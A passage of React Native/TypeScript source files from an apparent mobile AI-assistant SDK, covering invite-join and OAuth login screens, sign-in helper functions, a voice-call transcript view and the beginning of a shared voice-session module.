OAuthProvider } from '../providers';\nimport { completeInviteJoin, inviteHeadline } from './inviteJoin';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\nexport interface JoinScreenProps {\n /** The invite code the host captured from the deep link. */\n code: string | null;\n /** Adopt the session JWT (host: authStore.login → core session + tenantConfirmed). */\n onSignedIn: (jwt: string) => void | Promise<void>;\n /** Clear the consumed single-use invite so a relaunch never retries it. */\n onDone: () => void;\n /** Dismiss on a bad invite — the host toggles the pre-auth phase (not a router). */\n onCancel: () => void;\n}\n\nexport default function JoinScreen({ code, onSignedIn, onDone, onCancel }: JoinScreenProps) {\n const [preview, setPreview] = useState<InvitePreview | null>(null);\n const [loadErr, setLoadErr] = useState<string | null>(null);\n const [busy, setBusy] = useState(false);\n const [err, setErr] = useState<string | null>(null);\n const [appleAvailable, setAppleAvailable] = useState(false);\n\n // Preview the invite for the header copy.\n useEffect(() => {\n if (!code) return;\n setPreview(null);\n setLoadErr(null);\n previewInvite(code).then(setPreview).catch(e => setLoadErr(e?.message || 'Could not load invite'));\n }, [code]);\n\n useEffect(() => {\n getOAuthProvider()?.isAppleAvailable().then(setAppleAvailable).catch(() => setAppleAvailable(false));\n }, []);\n\n const orgLine = useMemo(() => inviteHeadline(preview), [preview]);\n\n async function run(\n acquire: (oauth: OAuthProvider) => Promise<string | null>,\n join: (code: string, idToken: string) => Promise<ConsumerSignInResult>,\n ) {\n if (!code) return;\n const oauth = getOAuthProvider();\n if (!oauth) { setErr('Sign-in is unavailable on this device.'); return; }\n setErr(null); setBusy(true);\n try {\n const idToken = await acquire(oauth);\n await completeInviteJoin(code, idToken, { join, onDone, onSignedIn });\n } catch (e: any) {\n setErr(e?.message || 'Sign-in failed');\n } finally {\n setBusy(false);\n }\n }\n\n const handleGoogle = () => run(oauth => oauth.signInWithGoogle(), joinWithGoogle);\n const handleApple = () => run(oauth => oauth.signInWithApple(), joinWithApple);\n\n return (\n <View style={styles.container}>\n <View style={styles.hero}>\n <AdaOrb size={120} />\n <Text style={styles.wordmark}>ada</Text>\n {loadErr ? (\n <Text style={styles.err}>{loadErr}</Text>\n ) : preview ? (\n <Text style={styles.tagline}>{orgLine}</Text>\n ) : (\n <ActivityIndicator color={ada.ink} style={{ marginTop: 12 }} />\n )}\n </View>\n\n <View style={styles.buttons}>\n {/* Only offer sign-in once the invite previewed OK. */}\n {preview && !loadErr && (\n <>\n <Pressable\n style={[styles.googleBtn, busy && styles.btnDisabled]}\n onPress={handleGoogle}\n disabled={busy}\n >\n <Text style={styles.googleGlyph}>G</Text>\n <Text style={styles.googleText}>Continue with Google</Text>\n </Pressable>\n {appleAvailable &&\n getOAuthProvider()?.renderAppleButton({ onPress: handleApple, disabled: busy, style: styles.appleBtn })}\n </>\n )}\n {loadErr && (\n <Pressable style={styles.dismiss} onPress={onCancel} hitSlop={8}>\n <Text style={styles.dismissText}>Back to sign in</Text>\n </Pressable>\n )}\n {!!err && <Text style={styles.err}>{err}</Text>}\n {busy && <ActivityIndicator color={ada.ink} style={{ marginTop: 12 }} />}\n <Text style={styles.disclaimer}>By continuing you agree to Ada's Terms and Privacy Policy.</Text>\n </View>\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n container: { flex: 1, backgroundColor: ada.paper, justifyContent: 'space-between' },\n hero: { alignItems: 'center', marginTop: spacing.xxl * 1.4 },\n wordmark: { fontSize: 34, fontWeight: '800', color: ada.ink, letterSpacing: 4, marginTop: 12, fontFamily: fontFam },\n tagline: { fontSize: 17, color: ada.inkSoft, marginTop: 10, textAlign: 'center', paddingHorizontal: 24, fontFamily: fontFam },\n buttons: { paddingHorizontal: 24, paddingBottom: 40, gap: 12 },\n googleBtn: {\n flexDirection: 'row', alignItems: 'center', justifyContent: 'center', gap: 10,\n backgroundColor: ada.ink, paddingVertical: 15, borderRadius: 999,\n },\n btnDisabled: { opacity: 0.5 },\n googleGlyph: { color: '#fff', fontSize: 18, fontWeight: '800' },\n googleText: { color: '#fff', fontSize: 16, fontWeight: '600', fontFamily: fontFam },\n appleBtn: { height: 52, width: '100%' },\n dismiss: { alignItems: 'center', paddingVertical: 10 },\n dismissText: { color: ada.inkMuted, fontSize: 15, fontWeight: '500' },\n err: { color: '#C15545', fontSize: 13, textAlign: 'center', paddingHorizontal: 16, marginTop: 8 },\n disclaimer: { fontSize: 12, color: ada.inkMuted, textAlign: 'center', marginTop: 8 },\n});\n","/**\n * Invite join — the pure, testable half of JoinScreen (R9B).\n *\n * JSX-free so the join ORDERING and the header derivation are node-testable\n * without rendering. The native id_token acquisition happens in the component via\n * getOAuthProvider(); the acquired token is passed in here.\n */\nimport type { ConsumerSignInResult, InvitePreview } from '@ateam-ai-mobile/core';\n\nexport interface InviteJoinDeps {\n /** Exchange { invite, id_token } for a tenant-scoped JWT (host injects core.joinWith*). */\n join: (code: string, idToken: string) => Promise<ConsumerSignInResult>;\n /** Clear the consumed single-use invite (host store). */\n onDone: () => void;\n /** Adopt the session JWT. */\n onSignedIn: (jwt: string) => void | Promise<void>;\n}\n\n/**\n * Complete an invite join with an already-acquired id_token.\n *\n * Returns false WITHOUT side effects when idToken is null (user cancelled the\n * native sheet). Otherwise: join → clear the consumed invite → sign in, in that\n * order (matching the app: the invite is cleared before sign-in so a relaunch\n * never retries a burned code). Throws on a join failure; the invite is NOT\n * cleared and sign-in never runs then, so the user can retry the same invite.\n */\nexport async function completeInviteJoin(\n code: string,\n idToken: string | null,\n deps: InviteJoinDeps,\n): Promise<boolean> {\n if (!idToken) return false;\n const consumer = await deps.join(code, idToken);\n deps.onDone();\n await deps.onSignedIn(consumer.jwt);\n return true;\n}\n\n/** The invite header copy. Role is optional — \"Join <Org>?\" when absent. */\nexport function inviteHeadline(preview: InvitePreview | null): string {\n if (!preview) return '';\n return preview.role ? `Join ${preview.org} as ${preview.role}?` : `Join ${preview.org}?`;\n}\n","/**\n * LoginScreen (R9B — relocated from the app) — consumer login via native Google\n * + native Apple sign-in.\n *\n * Both providers return an OIDC id_token; we POST it to consumer-auth, which\n * verifies it server-side and returns a tenant-scoped JWT for sign-in. The\n * webClientId is fetched at runtime from the tenant's consumer config, so no\n * client ids are baked into the SDK.\n *\n * Host-injected seams:\n * - activeTenant the reactive pre-auth team (re-fetches the config);\n * '' → the screen asks for the team\n * - onPickTenant the user named a team (\"Use a different team\", or no\n * team yet): the host stores it as its signed-out pick\n * - onConsumerDisabled the team has no consumer sign-in: the host clears its\n * pick; the screen asks for another team\n * - onSignedIn session adoption (host: authStore.login)\n * - onJoinTeam? open the host's \"join a team by name\" (OpenJoin) sub-view\n *\n * Native id_token acquisition + the Apple HIG button come from the host-wired\n * OAuthProvider (getOAuthProvider); this screen passes the TENANT's client ids\n * to signInWithGoogle. The host wraps this in its own SafeAreaView.\n */\nimport { useEffect, useMemo, useState } from 'react';\nimport { View, Text, Pressable, StyleSheet, Platform, ActivityIndicator, TextInput } from 'react-native';\nimport { fetchConsumerConfig, signInWithGoogle, signInWithApple, ada, type ConsumerCapabilityConfig } from '@ateam-ai-mobile/core';\nimport { AdaOrb } from '@ateam-ai-mobile/plugin-runtime';\nimport { getOAuthProvider } from '../providers';\nimport { googleClientIds, isConsumerDisabled, completeProviderSignIn } from './login';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\nexport interface LoginScreenProps {\n /** The reactive pre-auth team (host: useSession().tenant). Re-fetches config on change.\n * '' → the screen asks for the team. */\n activeTenant: string;\n /** The user named a team to sign in to: the host stores it as its signed-out pick. */\n onPickTenant: (tenant: string) => void | Promise<void>;\n /** The team has no consumer sign-in: the host clears its pick (the screen asks for another). */\n onConsumerDisabled: () => void | Promise<void>;\n /** Adopt the session JWT (host: authStore.login → core session + tenantConfirmed). */\n onSignedIn: (jwt: string) => void | Promise<void>;\n /** Open the host's \"join a team by name\" (OpenJoin) sub-view. Link hidden when omitted. */\n onJoinTeam?: () => void;\n}\n\nexport default function LoginScreen({ activeTenant, onPickTenant, onConsumerDisabled, onSignedIn, onJoinTeam }: LoginScreenProps) {\n const [config, setConfig] = useState<ConsumerCapabilityConfig | null>(null);\n const [error, setError] = useState<string | null>(null);\n // The team whose config said \"no consumer sign-in\", kept across the host\n // clearing its pick so the ask-for-team view can say why it is back.\n const [disabledTeam, setDisabledTeam] = useState<string | null>(null);\n // \"Use a different team\" — or the current team can't sign in.\n const [askTeam, setAskTeam] = useState(false);\n const askingTeam = !activeTenant || askTeam;\n const pick = async (tenant: string) => { setAskTeam(false); setDisabledTeam(null); await onPickTenant(tenant); };\n\n useEffect(() => {\n setConfig(null);\n setError(null);\n if (!activeTenant) return;\n fetchConsumerConfig()\n .then(setConfig)\n .catch(async err => {\n const msg = err?.message || 'Failed to load sign-in config';\n // A consumer-disabled tenant 404s with \"capability not enabled\". Don't\n // dead-end on red text — ask for another team (and the host clears its\n // pick). Asking here, not re-fetching, so a disabled fallback can't loop.\n if (isConsumerDisabled(msg)) {\n setDisabledTeam(activeTenant);\n setAskTeam(true);\n await onConsumerDisabled();\n return;\n }\n setError(msg);\n });\n }, [activeTenant, onConsumerDisabled]);\n\n return (\n <View style={styles.container}>\n <View style={styles.hero}>\n <AdaOrb size={140} />\n <Text style={styles.wordmark}>ada</Text>\n <Text style={styles.tagline}>Your private personal AI-Team</Text>\n </View>\n\n <View style={styles.buttonSection}>\n {askingTeam && <TeamField notice={disabledTeam} onPick={pick} />}\n {!askingTeam && !config && !error && <ActivityIndicator color={ada.ink} />}\n {!askingTeam && !!error && <Text style={styles.errorText}>{error}</Text>}\n {!askingTeam && !!config && <SignInButtons config={config} onSignedIn={onSignedIn} />}\n {!askingTeam && (\n <Pressable onPress={() => setAskTeam(true)} hitSlop={8} style={{ paddingVertical: 4 }}>\n <Text style={styles.joinLink}>Use a different team</Text>\n </Pressable>\n )}\n {onJoinTeam && (\n <Pressable onPress={onJoinTeam} hitSlop={8} style={{ paddingVertical: 8 }}>\n <Text style={styles.joinLink}>Join a team by name</Text>\n </Pressable>\n )}\n <Text style={styles.disclaimer}>By continuing you agree to Ada's Terms and Privacy Policy.</Text>\n </View>\n </View>\n );\n}\n\n/** Ask which team to sign in to. Signing in needs the team's own consumer\n * config (its client ids). */\nfunction TeamField({ notice, onPick }: { notice: string | null; onPick: (tenant: string) => void | Promise<void> }) {\n const [team, setTeam] = useState('');\n const slug = team.trim().toLowerCase();\n const submit = () => { if (slug) void onPick(slug); };\n return (\n <>\n {!!notice && <Text style={styles.errorText}>“{notice}” doesn't have app sign-in. Try another team.</Text>}\n <TextInput\n style={styles.teamInput}\n value={team}\n onChangeText={setTeam}\n placeholder=\"your team (e.g. acme)\"\n placeholderTextColor={ada.inkMuted}\n autoCapitalize=\"none\"\n autoCorrect={false}\n returnKeyType=\"go\"\n onSubmitEditing={submit}\n />\n <Pressable style={[styles.signInBtn, !slug && styles.signInBtnDisabled]} onPress={submit} disabled={!slug}>\n <Text style={styles.signInText}>Continue</Text>\n </Pressable>\n </>\n );\n}\n\nfunction SignInButtons({ config, onSignedIn }: { config: ConsumerCapabilityConfig; onSignedIn: (jwt: string) => void | Promise<void> }) {\n const [busy, setBusy] = useState(false);\n const [error, setError] = useState<string | null>(null);\n const [appleAvailable, setAppleAvailable] = useState(false);\n\n const { webClientId, iosClientId } = useMemo(() => googleClientIds(config), [config]);\n\n // Apple Sign-In is iOS 13+ only. Hide the button if the device can't.\n useEffect(() => {\n getOAuthProvider()?.isAppleAvailable().then(setAppleAvailable).catch(() => setAppleAvailable(false));\n }, []);\n\n const handleGoogleLogin = async () => {\n setError(null);\n if (!webClientId) {\n setError('Google sign-in is not configured for this tenant');\n return;\n }\n const oauth = getOAuthProvider();\n if (!oauth) { setError('Sign-in is unavailable on this device.'); return; }\n setBusy(true);\n try {\n const idToken = await oauth.signInWithGoogle({ webClientId, iosClientId });\n await completeProviderSignIn(idToken, { exchange: signInWithGoogle, onSignedIn });\n } catch (err: any) {\n setError(err?.message || 'Sign-in failed');\n } finally {\n setBusy(false);\n }\n };\n\n const handleAppleLogin = async () => {\n setError(null);\n const oauth = getOAuthProvider();\n if (!oauth) { setError('Sign-in is unavailable on this device.'); return; }\n setBusy(true);\n try {\n const idToken = await oauth.signInWithApple();\n await completeProviderSignIn(idToken, { exchange: signInWithApple, onSignedIn });\n } catch (err: any) {\n setError(err?.message || 'Apple sign-in failed');\n } finally {\n setBusy(false);\n }\n };\n\n const googleEnabled = !!webClientId && !busy;\n const appleEnabled = appleAvailable && !!config.providers.apple?.service_id && !busy;\n\n return (\n <>\n {!!config.providers.google && (\n <Pressable\n style={[styles.signInBtn, !googleEnabled && styles.signInBtnDisabled]}\n onPress={handleGoogleLogin}\n disabled={!googleEnabled}\n >\n <Text style={styles.signInGlyph}>G</Text>\n <Text style={styles.signInText}>Continue with Google</Text>\n </Pressable>\n )}\n {appleEnabled &&\n getOAuthProvider()?.renderAppleButton({ onPress: handleAppleLogin, disabled: busy, style: styles.appleBtn })}\n {!!error && <Text style={styles.errorText}>{error}</Text>}\n {busy && <ActivityIndicator color={ada.ink} />}\n </>\n );\n}\n\nconst styles = StyleSheet.create({\n container: {\n flex: 1,\n backgroundColor: ada.paper,\n justifyContent: 'space-between',\n paddingHorizontal: 32,\n paddingBottom: 24,\n },\n hero: { flex: 1, alignItems: 'center', justifyContent: 'center', gap: 18 },\n wordmark: { fontSize: 32, fontWeight: '600', color: ada.ink, letterSpacing: 4, fontFamily: fontFam, marginTop: 8 },\n tagline: { fontSize: 16, fontWeight: '500', color: ada.inkSoft, letterSpacing: -0.1, fontFamily: fontFam },\n buttonSection: { alignItems: 'center', gap: 12 },\n signInBtn: {\n flexDirection: 'row', alignItems: 'center', justifyContent: 'center',\n backgroundColor: ada.ink, paddingVertical: 16, paddingHorizontal: 24,\n borderRadius: 999, width: '100%', gap: 12,\n },\n signInBtnDisabled: { opacity: 0.5 },\n signInGlyph: { fontSize: 18, fontWeight: '700', color: ada.paper, fontFamily: fontFam },\n signInText: { fontSize: 16, fontWeight: '600', color: ada.paper, letterSpacing: -0.2, fontFamily: fontFam },\n appleBtn: { width: '100%', height: 52 },\n teamInput: {\n width: '100%', backgroundColor: ada.paperSoft, borderWidth: 1, borderColor: ada.border, borderRadius: 14,\n paddingHorizontal: 16, paddingVertical: 14, fontSize: 16, color: ada.ink,\n },\n errorText: { fontSize: 13, color: '#c43d3d', textAlign: 'center', paddingHorizontal: 16 },\n disclaimer: { fontSize: 12, color: ada.inkMuted, textAlign: 'center', marginTop: 8, lineHeight: 18, fontFamily: fontFam },\n joinLink: { fontSize: 14, fontWeight: '600', color: ada.orangeDeep, textAlign: 'center', fontFamily: fontFam },\n});\n","/**\n * Login — the pure, testable half of LoginScreen (R9B).\n *\n * JSX-free so the tenant client-id derivation, the consumer-disabled self-heal\n * decision, and the sign-in ordering are node-testable without rendering.\n */\nimport type { ConsumerCapabilityConfig, ConsumerSignInResult } from '@ateam-ai-mobile/core';\n\n/**\n * The Google client ids to sign in with, from the tenant's consumer config.\n * webClientId sets the id_token AUDIENCE the server verifies; iosClientId makes\n * the native account picker show (missing → the SDK silently falls back to a web\n * flow on iOS). Accepts the legacy single `client_id` as the web id.\n */\nexport function googleClientIds(config: ConsumerCapabilityConfig): { webClientId: string; iosClientId: string } {\n const g = (config.providers as any).google || {};\n return {\n webClientId: g.web_client_id || g.client_id || '',\n iosClientId: g.ios_client_id || '',\n };\n}\n\n/**\n * Whether a failed config fetch means the picked tenant has no consumer sign-in\n * (\"capability not enabled\" 404). The host then clears its pick and shows its\n * team picker — it never falls back to a default tenant.\n */\nexport function isConsumerDisabled(errorMsg: string | undefined): boolean {\n return /capability not enabled/i.test(errorMsg || '');\n}\n\nexport interface ProviderSignInDeps {\n /** Trade the provider id_token for a session JWT (host injects core.signInWith*). */\n exchange: (idToken: string) => Promise<ConsumerSignInResult>;\n /** Adopt the session JWT. */\n onSignedIn: (jwt: string) => void | Promise<void>;\n}\n\n/**\n * Complete a provider sign-in with an already-acquired id_token: exchange → sign\n * in. Returns false WITHOUT side effects on a null token (user cancelled the\n * native sheet). Throws on an exchange failure; sign-in never runs then.\n */\nexport async function completeProviderSignIn(\n idToken: string | null,\n deps: ProviderSignInDeps,\n): Promise<boolean> {\n if (!idToken) return false;\n const consumer = await deps.exchange(idToken);\n await deps.onSignedIn(consumer.jwt);\n return true;\n}\n","/**\n * VoiceCallSheet — the full-screen voice call experience.\n *\n * AdaOrb hero + live transcript (with important-data highlighting) + mute\n * control. This is a VIEW onto the one `voiceSession` (via useVoiceCall) — the\n * WebRTC WebView now lives in VoiceSessionHost at the app root, so closing this\n * sheet no longer ends the call. Requires `voiceUrl` in the initAdas() config.\n */\nimport { useEffect, useRef, useMemo } from 'react';\nimport {\n View,\n Text,\n StyleSheet,\n Platform,\n Pressable,\n ScrollView,\n} from 'react-native';\nimport Svg, { Path, Line } from 'react-native-svg';\nimport { ada } from '@ateam-ai-mobile/core';\nimport { AdaOrb, SurfaceFullscreen, type AdaOrbState } from '@ateam-ai-mobile/plugin-runtime';\nimport useVoiceCall from './useVoiceCall';\n\ninterface Props {\n visible: boolean;\n onClose: () => void;\n /** Optional skill to hand the mic to on connect (voice /session → takeMic). */\n skillSlug?: string;\n}\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\n// Detect important data in voice transcripts so the user can verify it visually.\nconst HIGHLIGHT_PATTERNS = [\n /[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,}/g,\n /(?:\\+?\\d[\\s\\-().]?){7,}\\d/g,\n /\\$\\d[\\d,]*(?:\\.\\d{1,2})?/g,\n /\\b\\d{1,2}:\\d{2}\\s?(?:am|pm|AM|PM)?\\b/g,\n /\\bhttps?:\\/\\/\\S+/g,\n /\\b\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}\\b/g,\n];\n\nfunction highlightSegments(text: string): Array<{ text: string; important: boolean }> {\n const ranges: Array<[number, number]> = [];\n for (const p of HIGHLIGHT_PATTERNS) {\n p.lastIndex = 0;\n let m;\n while ((m = p.exec(text)) !== null) {\n ranges.push([m.index, m.index + m[0].length]);\n }\n }\n if (!ranges.length) return [{ text, important: false }];\n ranges.sort((a, b) => a[0] - b[0]);\n const merged: Array<[number, number]> = [];\n for (const r of ranges) {\n if (merged.length && r[0] <= merged[merged.length - 1][1]) {\n merged[merged.length - 1][1] = Math.max(merged[merged.length - 1][1], r[1]);\n } else {\n merged.push([r[0], r[1]]);\n }\n }\n const segments: Array<{ text: string; important: boolean }> = [];\n let cursor = 0;\n for (const [start, end] of merged) {\n if (start > cursor) segments.push({ text: text.slice(cursor, start), important: false });\n segments.push({ text: text.slice(start, end), important: true });\n cursor = end;\n }\n if (cursor < text.length) segments.push({ text: text.slice(cursor), important: false });\n return segments;\n}\n\nfunction HighlightedText({\n text,\n baseStyle,\n importantStyle,\n}: {\n text: string;\n baseStyle: any;\n importantStyle: any;\n}) {\n const segments = useMemo(() => highlightSegments(text), [text]);\n return (\n <Text style={baseStyle}>\n {segments.map((seg, i) => (\n <Text key={i} style={seg.important ? importantStyle : undefined}>\n {seg.text}\n </Text>\n ))}\n </Text>\n );\n}\n\nexport default function VoiceCallSheet({ visible, onClose, skillSlug }: Props) {\n const {\n callState, aiPartial, userPartial, transcript, error, muted,\n startCall, stopCall, toggleMute,\n } = useVoiceCall({ skillSlug });\n\n const scrollRef = useRef<ScrollView>(null);\n\n useEffect(() => {\n if (visible && callState === 'idle') startCall();\n }, [visible]); // eslint-disable-line react-hooks/exhaustive-deps\n\n useEffect(() => {\n scrollRef.current?.scrollToEnd?.({ animated: true });\n }, [transcript.length, aiPartial, userPartial]);\n\n const handleHangUp = () => {\n stopCall();\n onClose();\n };\n\n const orbState: AdaOrbState = useMemo(() => {\n if (callState === 'connecting') return 'thinking';\n if (callState === 'error') return 'idle';\n if (aiPartial) return 'speaking';\n if (userPartial) return 'listening';\n return 'idle';\n }, [callState, aiPartial, userPartial]);\n\n const statusLabel = useMemo(() => {\n if (callState === 'connecting') return 'Connecting…';\n if (callState === 'error') return error || 'Couldn’t connect';\n if (aiPartial) return 'Ada is speaking';\n if (userPartial) return 'Listening';\n if (callState === 'connected') return 'Go ahead, I’m here.';\n return '';\n }, [callState, aiPartial, userPartial, error]);\n\n if (!visible) return null;\n\n const visibleEntries = transcript.filter(e => e.role === 'user' || e.role === 'ai');\n\n return (\n <SurfaceFullscreen\n visible={visible}\n onClose={handleHangUp}\n status={statusLabel}\n hero={<AdaOrb size={180} state={orbState} />}\n closeIcon=\"hangup\"\n closeLabel=\"End\"\n >\n <ScrollView\n ref={scrollRef}\n style={styles.transcript}\n contentContainerStyle={styles.transcriptContent}\n showsVerticalScrollIndicator={false}\n >\n {callState === 'error' && error ? (\n <View style={styles.errorBox}>\n <Text style={styles.errorText}>{error}</Text>\n </View>\n ) : null}\n {visibleEntries.map((entry, i) => (\n <View key={`${entry.ts}-${i}`} style={styles.entry}>\n <Text style={styles.role}>\n {entry.role === 'user' ? 'YOU' : 'ADA'}\n </Text>\n <HighlightedText\n text={entry.text}\n baseStyle={styles.entryText}\n importantStyle={styles.important}\n />\n </View>\n ))}\n {(userPartial || aiPartial) ? (\n <View style={styles.entry}>\n <Text style={styles.role}>\n {userPartial ? 'YOU' : 'ADA'}\n </Text>\n <HighlightedText\n text={userPartial || aiPartial}\n baseStyle={styles.entryTextLive}\n importantStyle={styles.important}\n />\n </View>\n ) : null}\n </ScrollView>\n\n {/* Mute control — floating above transcript, only when call is live */}\n {callState === 'connected' || callState === 'connecting' ? (\n <View style={styles.muteWrap} pointerEvents=\"box-none\">\n <Pressable\n onPress={toggleMute}\n accessibilityRole=\"button\"\n accessibilityLabel={muted ? 'Unmute microphone' : 'Mute microphone'}\n accessibilityState={{ selected: muted }}\n style={[styles.muteBtn, muted && styles.muteBtnActive]}\n hitSlop={12}\n >\n <Svg width={22} height={22} viewBox=\"0 0 24 24\" fill=\"none\" stroke={muted ? ada.paper : ada.ink} strokeWidth={2} strokeLinecap=\"round\" strokeLinejoin=\"round\">\n <Path d=\"M12 1a3 3 0 0 0-3 3v8a3 3 0 0 0 6 0V4a3 3 0 0 0-3-3z\" />\n <Path d=\"M19 10v2a7 7 0 0 1-14 0v-2\" />\n <Line x1=\"12\" y1=\"19\" x2=\"12\" y2=\"23\" />\n <Line x1=\"8\" y1=\"23\" x2=\"16\" y2=\"23\" />\n {muted ? <Line x1=\"3\" y1=\"3\" x2=\"21\" y2=\"21\" stroke={ada.paper} strokeWidth={2.4} /> : null}\n </Svg>\n </Pressable>\n <Text style={styles.muteLabel}>{muted ? 'Muted' : 'Mute'}</Text>\n </View>\n ) : null}\n </SurfaceFullscreen>\n );\n}\n\nconst styles = StyleSheet.create({\n transcript: {\n flex: 1,\n paddingHorizontal: 28,\n },\n transcriptContent: {\n paddingTop: 8,\n paddingBottom: 16,\n gap: 14,\n },\n entry: {\n flexDirection: 'row',\n gap: 10,\n alignItems: 'flex-start',\n },\n role: {\n fontSize: 10,\n fontFamily: fontFam,\n fontWeight: '700',\n color: ada.inkMuted,\n letterSpacing: 1.4,\n minWidth: 32,\n paddingTop: 3,\n opacity: 0.55,\n },\n entryText: {\n flex: 1,\n fontSize: 14,\n fontFamily: fontFam,\n fontWeight: '400',\n color: ada.inkSoft,\n lineHeight: 20,\n letterSpacing: -0.1,\n opacity: 0.42,\n },\n entryTextLive: {\n flex: 1,\n fontSize: 14,\n fontFamily: fontFam,\n fontWeight: '400',\n color: ada.inkSoft,\n lineHeight: 20,\n letterSpacing: -0.1,\n opacity: 0.7,\n },\n important: {\n fontSize: 17,\n fontFamily: fontFam,\n fontWeight: '700',\n color: ada.ink,\n letterSpacing: -0.1,\n opacity: 1,\n },\n errorBox: {\n backgroundColor: 'rgba(239,68,68,0.12)',\n borderColor: 'rgba(239,68,68,0.45)',\n borderWidth: 1,\n borderRadius: 10,\n paddingVertical: 10,\n paddingHorizontal: 14,\n marginBottom: 12,\n },\n errorText: {\n fontSize: 13,\n fontFamily: fontFam,\n fontWeight: '500',\n color: '#fca5a5',\n lineHeight: 18,\n },\n muteWrap: {\n position: 'absolute',\n bottom: Platform.OS === 'ios' ? 56 : 40,\n left: 28,\n alignItems: 'center',\n gap: 6,\n },\n muteBtn: {\n width: 56,\n height: 56,\n borderRadius: 28,\n backgroundColor: ada.paperSoft,\n borderWidth: 1,\n borderColor: ada.border,\n justifyContent: 'center',\n alignItems: 'center',\n },\n muteBtnActive: {\n backgroundColor: '#C15545',\n borderColor: '#C15545',\n },\n muteLabel: {\n fontSize: 12,\n fontFamily: fontFam,\n fontWeight: '500',\n color: ada.inkMuted,\n letterSpacing: 0.3,\n },\n});\n","/**\n * useVoiceCall — a React VIEW onto the one `voiceSession`.\n *\n * The session itself (WebRTC WebView, transcript, device tools, mute, token\n * refresh) no longer lives here — it moved to `voiceSession`, a singleton the\n * app roots via VoiceSessionHost so the loop survives any screen unmounting. This\n * hook is now just a subscription: it re-renders its caller on session changes\n * and forwards the controls. VoiceCallSheet is one such view; a plugin's own UI\n * is another, via `props.voice`.\n *\n * The return shape is kept backward-compatible for VoiceCallSheet, minus the\n * WebView plumbing (source/ref/message handler/track hook) — that is the host's\n * job now, not any screen's.\n */\nimport { useCallback, useEffect, useReducer } from 'react';\nimport { voiceSession, type CallState, type TranscriptEntry } from './voiceSession';\n\nexport type { CallState, TranscriptEntry };\n\nexport default function useVoiceCall({ skillSlug }: { skillSlug?: string } = {}) {\n const [, force] = useReducer((x: number) => x + 1, 0);\n\n useEffect(() => {\n const sub = voiceSession.subscribe(() => force());\n return () => sub.unsubscribe();\n }, []);\n\n const s = voiceSession.getInternal();\n\n // Opening a screen while a session is already live ATTACHES to it (start() is\n // a no-op that resolves) — never a second Realtime loop (invariant 2).\n const startCall = useCallback(\n (opts?: { skillSlug?: string }) => voiceSession.start(opts ?? { skillSlug }),\n [skillSlug],\n );\n const stopCall = useCallback(() => voiceSession.stop(), []);\n const toggleMute = useCallback(\n () => voiceSession.setMuted(!voiceSession.getSnapshot().muted),\n [],\n );\n\n return {\n callState: s.callState,\n sessionId: s.sessionId,\n error: s.error,\n transcript: s.transcript,\n aiPartial: s.aiPartial,\n userPartial: s.userPartial,\n muted: s.muted,\n startCall,\n stopCall,\n toggleMute,\n };\n}\n","/**\n * voiceSession — the ONE live voice session, headless and app-root-owned.\n *\n * WHY THIS EXISTS. The session used to live inside `useVoiceCall`, whose WebView\n * was rendered by VoiceCallSheet. Unmount the sheet and the WebView unmounted\n * with it, so the session died — not by design, just by where the WebView lived.\n * That made the built-in screen the ONLY way to hold a live loop, exactly the\n * state the camera was in before sensing and preview were split.\n *\n * The fix is the same one VisionStreamHost applied to the camera: move the thing\n * that must stay alive to the app root, and make every surface a READER of it.\n * This module is that thing — a singleton that owns session state and drives the\n * WebView; `VoiceSessionHost` mounts the (offscreen) WebView bound to it once, at\n * the root; `useVoiceCall` / `props.voice` are views onto it.\n *\n * It is the provider handed to `setVoiceProvider` (plugin-runtime), so a plugin's\n * gated `props.voice` and the built-in sheet drive the SAME session — one phone,\n * one mic, one Realtime loop, one bill (spec invariant 2).\n *\n * TRUST. The device-tool channel (origin-checked postMessage) is preserved\n * verbatim from the hook: the model's tool calls arrive on THIS phone over the\n * WebView's own WebRTC, and only a message from the voice app's own origin may\n * drive the device. `prompt()` is an AGENT turn, never forged user speech, and it\n * cannot reach the WebView beyond that one injected call.\n */\nimport { getVoiceApiUrl, getToken, getTenant, getUser, refreshToken } from '@ateam-ai-mobile/core';\nimport { getCallAudioProvider } from '../providers';\nimport {\n callDeviceTool,\n ensureDeviceToolsLoaded,\n listDeviceTools,\n hasDeviceTool,\n PLATFORM_VOICE_CALLER,\n type VoiceSessionProvider,\n type VoiceCaller,\n type VoiceSnapshot,\n type VoiceState,\n type VoiceTranscriptEntry,\n type VoiceStartOptions,\n type VoicePersona,\n type VoiceEvent,\n type VoiceSubscription,\n type VoiceDeviceToolCall,\n type VoiceDeviceToolReason,\n} from '@ateam-ai-mobile/plugin-runtime';\n\n// Re-export the transcript/state shapes under their historical names so existing\n// importers (useVoiceCall, VoiceCallSheet) keep compiling. The canonical\n// definitions live in plugin-runtime (the layer both ui and plugins depend on).\nexport type CallState = VoiceState;\nexport type TranscriptEntry = VoiceTranscriptEntry;\n\n/** How long to wait for the WebView to reach 'connected' before start() rejects.\n * A hung promise (e.g. no VoiceSessionHost mounted) is worse than a clear error. */\nconst CONNECT_TIMEOUT_MS = 30_000;\n\n/**\n * The voice WebView bakes the JWT into its URL once at mount and never refreshes\n * it (unlike the SDK REST client, which self-heals on 401). Refresh a stale/near-\n * expiry token BEFORE the WebView mounts so it gets a fresh one. Cheap unless\n * actually near expiry (decoded locally, no network unless needed).\n */\nconst TOKEN_REFRESH_SKEW_MS = 90_000;\nfunction tokenNeedsRefresh(token: string | null): boolean {\n if (!token) return true;\n try {\n const payloadB64 = token.split('.')[1];\n const padded = payloadB64.replace(/-/g, '+').replace(/_/g, '/');\n const json = typeof atob === 'function'\n ? atob(padded)\n : Buffer.from(padded, 'base64').toString('utf8');\n const exp = JSON.parse(json)?.exp;\n if (typeof exp !== 'number') return false;\n return Date.now() >= exp * 1000 - TOKEN_REFRESH_SKEW_MS;\n } catch {\n return false;\n }\n}\n\n// Installed BEFORE the voice app loads — captures every audio track that could\n// reach the peer connection so setMuted can flip enabled=false on all of them,\n// however the voice app obtained the track. (Verbatim from useVoiceCall.)\nexport const INJECT_TRACK_HOOK = `\n(function() {\n if (window._adaTrackHookInstalled) return;\n window._adaTrackHookInstalled = true;\n window._allAudioTracks = [];\n 